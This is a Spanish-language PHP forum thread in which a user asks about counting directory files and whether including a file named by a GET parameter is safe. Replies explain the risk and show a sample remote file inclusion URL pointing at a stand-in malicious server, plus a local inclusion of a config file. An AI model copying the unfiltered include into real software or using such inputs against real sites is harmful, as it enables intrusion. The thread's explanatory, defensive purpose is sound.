Foros del Web » Programando para Internet » PHP »

2 preguntas

Estas en el tema de 2 preguntas en el foro de PHP en Foros del Web. Buscaba contar la cantidad de archivos que contiene un directorio y lo pude hacer de esta forma: <?php $contador=0; $handle=opendir("snapshots/"); while ($file = readdir($handle)) { ...
  #1 (permalink)  
Antiguo 10/03/2003, 07:36
 
Fecha de Ingreso: enero-2003
Mensajes: 120
Antigüedad: 21 años, 3 meses
Puntos: 0
2 preguntas

Buscaba contar la cantidad de archivos que contiene un directorio y lo pude hacer de esta forma:

<?php
$contador=0;
$handle=opendir("snapshots/");
while ($file = readdir($handle)) {
if ($file != "." && $file != "..") {
echo "$file";
$contador=$contador+1;
}
}
echo "<br>El directorio tiene: ".$contador." archivos";
closedir($handle);
?>

ahora...es la mejor forma de hacerlo?
digo porque para el caso de un directorio con 1000 o más, no afectaria el rendimiento?


La otra pregunta:

tengo un archivo "index.php"

<html>
......
<?php include("$seccion.php");
......
</html>

entonces para las diferentes secciones del sitio tengo los enlaces de esta forma:

index.php?seccion=tal

El tema es que me dijeron que no es para nada seguro, me podrian decir si esto es realmente asi y porque?

Muchas gracias por anticipado.
  #2 (permalink)  
Antiguo 10/03/2003, 08:22
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
1) .. sobre el listado directorios:

Si, claro .. ese bucle q lea el directorio si contiene tanto archivo ya veras el tiempo que tarda en ejecutarlo .. Tanto que si supera el "time-out" asignado por defecto al tiempo de ejecución máximo de un script (php.ini -> max_execution_time .. suele estar a 30 segundos .. en un phpinfo() tambien lo puedes ver) el script terminará la ejecución a ese tiempo con un mensajito de error sobre el tema de tiempo sobrepasado ..

Ese tiempo de ejecución se puede ajustar usando:
set_time_limit(segundos) ... si indicas 0 sería "tiempo infinito" (tarde lo que tarde en ejecutarse el scritp..)


2) Sobre seguridad ...

Imagina que tienes el tipico config.inc.php por ahí rondando .. hago por ejemplo:

index.php?seccion=config.inc .. y ahí lo cargo en tu sección .. dependerá del resto de programación de la "plantilla" base q uses (ese index.php) podría obtener algun dato del mismo ..

Por lo menos te "medio salva" que indicastes .php por defecto como extensión de la "sección" que cargas ..

Otro problema .. GRAVE es si hago algo tipo:

index.php?seccion=http://miservidormalicioso.tal/miscript_malicioso
(siendo miscript_malicioso.php .. )

Ahí no lo he probado .. no se si se ejecutaría ese escript en miservidor o en el tuyo ..

En tal caso deberias filtrar tu variable "seccion" para que no te pongan http:// o https y otros "wrappers" externos.

Un saludo,
  #3 (permalink)  
Antiguo 10/03/2003, 08:43
 
Fecha de Ingreso: febrero-2002
Ubicación: ¿donde vivo? pues en mi casa, ¿donde voy a vivir?...
Mensajes: 214
Antigüedad: 22 años, 1 mes
Puntos: 0
respecto a la seguridad:

todo es potencialmente inseguro, pero el caso q expones, utilizando switch(), no tiene pq tener peligro alguno, al menos en principio.

Bien es cierto, y sirva como consejo para todos, q hay q tener cuidado con toda la informacion q el usuario nos da.

ayer mismo en irc, di un claro ejemplo, demostracion incluida, de como con un echo q hacia la persona en cuestion, de un dato q cogia por post, podia ejecutar cualkier comando.

asi q, todo es potencialmente inseguro.

mmmmm, kizá si deberia escribir ese doc sobre programacion segura en php.
__________________
Linux, es para los que odian Microsoft/Windows, BSD, es para los que amamos *IX.
  #4 (permalink)  
Antiguo 10/03/2003, 08:49
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
NeBeRuS

Mientras esperamos ese Doc sobre seguridad podrías subir algun sitio el log del IRC para ver ese ejemplo ..

Tambien .. fijate que usa:

include($seccion.".php");

siendo $seccion variable q le entra por GET ..

(por si tienes algun comentario al respecto...)

Un saludo,
  #5 (permalink)  
Antiguo 10/03/2003, 10:00
 
Fecha de Ingreso: enero-2003
Mensajes: 120
Antigüedad: 21 años, 3 meses
Puntos: 0
Muchas gracias por sus respuestas, han sido muy claros.

Ahora: Que solucion hay para ambos casos? (Mis conocimientos son mas que limitados)

Muchas gracias
  #6 (permalink)  
Antiguo 10/03/2003, 10:10
 
Fecha de Ingreso: febrero-2002
Ubicación: ¿donde vivo? pues en mi casa, ¿donde voy a vivir?...
Mensajes: 214
Antigüedad: 22 años, 1 mes
Puntos: 0
yo no logeo irc... x)

a ver, respecto al include.
no es buena practica hacer q el contenido de la variable sea el nombre del archivo, aunq, tp tendria pq dar problemas si filtras bien.

personalmente, prefiero poner un ?seccion=NOMBRELEGIBLE

a un ?seccion=nombrefichero
__________________
Linux, es para los que odian Microsoft/Windows, BSD, es para los que amamos *IX.
  #7 (permalink)  
Antiguo 10/03/2003, 10:59
 
Fecha de Ingreso: enero-2003
Mensajes: 120
Antigüedad: 21 años, 3 meses
Puntos: 0
Gracias Neberus:

Estaba pensando hacerlo con Switch como dices mas arriba

En cuanto a lo otro, que forma seria la mas viable de contar la cantidad de archivos que tiene un directorio?

Gracias
  #8 (permalink)  
Antiguo 10/03/2003, 13:00
 
Fecha de Ingreso: febrero-2002
Ubicación: ¿donde vivo? pues en mi casa, ¿donde voy a vivir?...
Mensajes: 214
Antigüedad: 22 años, 1 mes
Puntos: 0
la q tu tienes, es la forma logica, eso si, si lees todos los archivos de un dir, cada vez q alguien carga ese script, reduciras considerablemente el rendimiento, es mejor q los leas y los metas en una db, y q cada X tiempo releas por si hay alguno nuevo.

Por supuesto, antes de meter en la db, verifica q no esta, por lo mismo de antes, sino reduces el rendimiento.
__________________
Linux, es para los que odian Microsoft/Windows, BSD, es para los que amamos *IX.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 18:14.